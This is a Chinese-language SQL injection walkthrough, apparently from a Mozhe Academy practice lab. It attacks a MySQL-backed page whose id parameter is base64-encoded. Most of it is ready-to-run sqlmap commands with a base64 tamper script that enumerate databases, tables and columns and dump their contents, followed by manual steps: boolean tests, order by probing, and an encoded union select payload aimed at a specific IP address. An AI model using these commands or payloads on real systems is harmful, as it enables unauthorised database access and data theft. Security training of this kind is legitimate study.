SQL注入实战-MySQL
今天我将用两种方法来讲解,第一种,SQLMap自动化跑数据库,第二种,利用火狐的hackbar来手工注入。
【第一种】
1.先看这个url:http://219.153.49.228:45709/show.php?id=MQo=,一般来说都是id=一个数字,这个MQo=是属于base64加密,加密规律、规则请参考百度百科。
2.用SQLMap的tamper插件,语句:sqlmap.py -u http://219.153.49.228:45709/show.php?id=MQo= –tamper base64encode.py –dbs –level 3(SQLMap下有tamper这个文件夹,下面有base64encode.py这个插件),可以看到爆出来两个数据库。
2.继续爆表,语句:sqlmap.py -u http://219.153.49.228:45709/show.php?id=MQo= –tamper base64encode.py –table -D test –level 3,爆出来data这个表
3.继续爆字段,语句:sqlmap.py -u http://219.153.49.228:45709/show.php?id=MQo= –tamper base64encode.py –columns -T data -D test –level 3,爆出来main这个字段
4.开始脱裤,语句:sqlmap.py -u http://219.153.49.228:45709/show.php?id=MQo= –tamper base64encode.py -D test -T data -C main,thekey,title –dump –level 3,脱裤成功,而且在下面这两个文件中都有保存。
**——————————————————————————————————————————
分割线
——————————————————————————————————————————
**
【第二种】
1.手工注入,前面我们已经说过这个url:http://219.153.49.228:45709/show.php?id=MQo=是经过base64加密的,解密之后我们知道这个MQo=其实是1,这个就需要我们每次注入的时候将正常的SQL语句转换成base64之后再注入,现在我将进行注入,上面的图片是正常一般操作,下面的图片是base64加密之后的,我们要执行的就是下面的加密过了的。
2.分别测试and 1=1和and1=2,发现and 1=2报错,则说明此处存在SQL注入漏洞
3.用order by 2(数字随便改)来进行猜测,order by可以参考:
4.然后用
[http://219.153.49.228:47049/show.php?id=-1%20union%20select%20database%28%29,version%28%29]
加密后的为
[http://219.153.49.228:47049/show.php?id=LTEgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksdmVyc2lvbigp]
来进行注入
发现这里面有test数据库,继续爆表名
注:这里用-1是为了让它报错的。
还可以用下这句:and exists(select schema_name from information_schema.schemata) 能够正常显示内容,即管理员并没有屏蔽information_schema数据库内容,可以通过此数据库来进行下一步测试
8.完成。
参考:墨者学院